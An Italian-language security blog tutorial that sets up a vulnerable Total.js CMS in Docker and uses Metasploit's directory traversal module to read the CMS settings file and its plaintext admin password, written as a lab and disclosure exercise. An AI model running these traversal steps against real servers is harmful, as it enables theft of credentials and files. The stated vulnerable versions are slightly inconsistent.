Security

Total.js Directory Traversal: try this at home

Come sfruttare la Directory Traversal con docker e Metasploit

Fabio Cogno, Riccardo Krauter Febbraio, 2020

Total.js è un framework per Node.js scritto in JavaScript e simile a Laravel per PHP o Django per Pyhton. Con questo framework è possibile scrivere applicazioni web, desktop, servizi o app per dispositivi IoT.

Le versioni del framework precedenti alla 3.2.2 sono vulnerabili a Directory Traversal. Questo attacco, noto anche come Path Traversal, consente ad un attaccante di accedere a file e directory fuori dalla root del web server.

In questo articolo descriviamo come creare un ambiente con un CMS vulnerabile e sfruttare Metasploit per recuperare il nome utente e password dell'amministratore.

Lab set-up

Per provare a sfruttare la vulnerabilità abbiamo bisogno di un'applicazione scritta con Total.js. Il modo più semplice è utilizzare il Total.js CMS offerto dagli sviluppatori Total.js.

Inoltre, per realizzare velocemente l'ambiente vulnerabile, abbiamo scelto di usare i container e la tecnologia docker per il deploy.

Lets go!

Creiamo una cartella in cui memorizzare i "sorgenti" dell'immagine docker:

root@kali:~# mkdir totaljs

Entriamo nella cartella e cloniamo il CMS da GitHub.

root@kali:~# cd totaljs && git clone https://github.com/totaljs/cms.git

Per avere almeno un utente nel CMS, sostituiamo il contenuto di cms/databases/settings.json con il seguente:

{"componentator":false,"smtpoptions":"","smtp":"","languages":[],"signals":[],"users":[{"id":"f92trzhgdkvu1mt","name":"Tony Stark","login":"tony.stark","password":"certimetergroup","roles":["Dashboard","Events","Newsletters","Notices","Pages","Posts","Settings","Subscribers","Widgets"]}],"navigations":[{"id":"mainmenu","name":"Main menu"}],"notices":[{"id":"tweet","name":"Tweet"}],"posts":[{"id":"blog","name":"Blog"}],"templatesnewsletters":[{"id":"newsletter","name":"Default"}],"templatesposts":[{"id":"post","name":"Default"}],"templates":[{"id":"default","name":"Default"},{"id":"navigation","name":"With navigation"},{"id":"fluid","name":"Fluid"}],"url":"http://127.0.0.1:8000","emailsender":"info@totaljs.com","emailreply":"info@totaljs.com","emailcontactform":"info@totaljs.com"}

Quindi, nella cartella totaljs, creiamo il dockerfile, apriamolo con il nostro editor preferito (per es.: nano dockerfile) e inseriamo il seguente contenuto:

FROM node:8
WORKDIR /home/node/totaljs
COPY cms/package*.json ./
RUN npm install
COPY cms/ .
RUN npm install total.js@3.2.2
EXPOSE 8000
CMD ["node","debug.js"]

Ok, adesso creiamo l'immagine di Total.js vulnerabile con docker build:

root@kali:~/totaljs# docker build -t totaljs:3.2.2 .

Al termine del processo di "compilazione", lanciamo l'immagine totaljs:3.2.2 e associamo la porta predefinita di Total.js (8000) con la porta 8322 del nostro host:

root@kali:~/totaljs# docker run -p 8322:8000 totaljs:3.2.2 --name totaljs-3.2.2

Se tutto è andato a buon fine, possiamo vedere il front-end del CMS su http://localhost:8322/.

Invece, per accedere al back-end è sufficiente andare su http://localhost:8322/admin.

Exploiting the vuln!

Per sfruttare la vulnerabilità, avviamo la console di Metasploit:

root@kali:~# msfconsole

Una volta avviata, selezioniamo il modulo totaljs_traversal:

msf5 auxiliary(scanner/http/totaljs_traversal) > use auxiliary/scanner/http/totaljs_traversal

Ora possiamo verificare se l'host è vulnerabile a Directory Traversal!

La ACTION predefinita per questo modulo è la CHECK che rivela se "host:port" è vulnerabile a Directory Traversal. Inoltre, questa action raccoglie altre informazioni utili come la versione del framework, il nome dell'applicazione in esecuzione, la versione dell'applicazione in esecuzione, ecc.

Per verificare se il container nel nostro laboratorio è vulnerabile, impostiamo l'host e la porta:

msf5 auxiliary(scanner/http/totaljs_traversal) > set rhost localhost
rhost => localhost
msf5 auxiliary(scanner/http/totaljs_traversal) > set rport 8322
rport => 8322

Adesso eseguiamo la verifica con run:

msf5 auxiliary(scanner/http/totaljs_traversal) > run

L'output è simile al seguente:

[*] Total.js version is: ^3.2.2
[*] App name: CMS
[*] App description: A simple and powerful CMS solution written in Total.js / Node.js.
[*] App version: 12.0.0
[*] Auxiliary module execution completed

Ok, il nostro container di test è vulnerabile! La versione del framework è, stranamente, la 3.2.2 e l'applicazione in esecuzione è Total.js CMS alla versione 12.0.0.

Proviamo ora a sfruttare la vulnerabilità di Directory Traversal per rubare le credenziali degli utenti del CMS. Per fare ciò, possiamo usare l'azione READ che consente di leggere i file dalla console di Metasploit (in alternativa si può usare l'azione DOWNLOAD per scaricare il file).

Il CMS archivia le credenziali degli utenti nel file settings.json contenuto nella directory database/. Quindi, impostiamo la action READ, impostiamo il file database/settings.json e proviamo a recuperarlo dal CMS:

msf5 auxiliary(scanner/http/totaljs_traversal) > set action READ
action => READ
msf5 auxiliary(scanner/http/totaljs_traversal) > set FILE databases/settings.json
FILE => databases/settings.json
msf5 auxiliary(scanner/http/totaljs_traversal) > run

Il modulo sfrutta la vulnerabilità e recupera il file. Di seguito l'output del modulo:

[*] Getting databases/settings.json...
{"componentator":false,"smtpoptions":"","smtp":"","languages":[],"signals":[],"users":[{"id":"f92trzhgdkvu1mt","name":"Tony Stark","login":"tony.stark","password":"certimetergroup","roles":["Dashboard","Events","Newsletters","Notices","Pages","Posts","Settings","Subscribers","Widgets"]}],"navigations":[{"id":"mainmenu","name":"Main menu"}],"notices":[{"id":"tweet","name":"Tweet"}],"posts":[{"id":"blog","name":"Blog"}],"templatesnewsletters":[{"id":"newsletter","name":"Default"}],"templatesposts":[{"id":"post","name":"Default"}],"templates":[{"id":"default","name":"Default"},{"id":"navigation","name":"With navigation"},{"id":"fluid","name":"Fluid"}],"url":"http://127.0.0.1:8000","emailsender":"info@totaljs.com","emailreply":"info@totaljs.com","emailcontactform":"info@totaljs.com"}
[*] Auxiliary module execution completed

È possibile osservare alcune informazioni utili, in particolare il nome utente "login":"tony.stark" e la password in chiaro "password":"certimetergroup". Ora possiamo andare su http://localhost:8322/admin/ e provare ad accedere con le credenziali individuate.

Summary

Questo post illustra come un Path/Directory Traversal nel framework Total.js possa portare alla perdita di credenziali in un CMS. La vulnerabilità è rimasta nascosta nel core di Total.js per oltre 3 anni. La vulnerabilità non è più sfruttabile a partire dalla versione 3.2.4.

Riferimenti

Ringraziamenti

Vorremmo ringraziare le persone di Snyk e di Total.js che, molto professionalmente, hanno collaborato con noi per risolvere il problema.

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.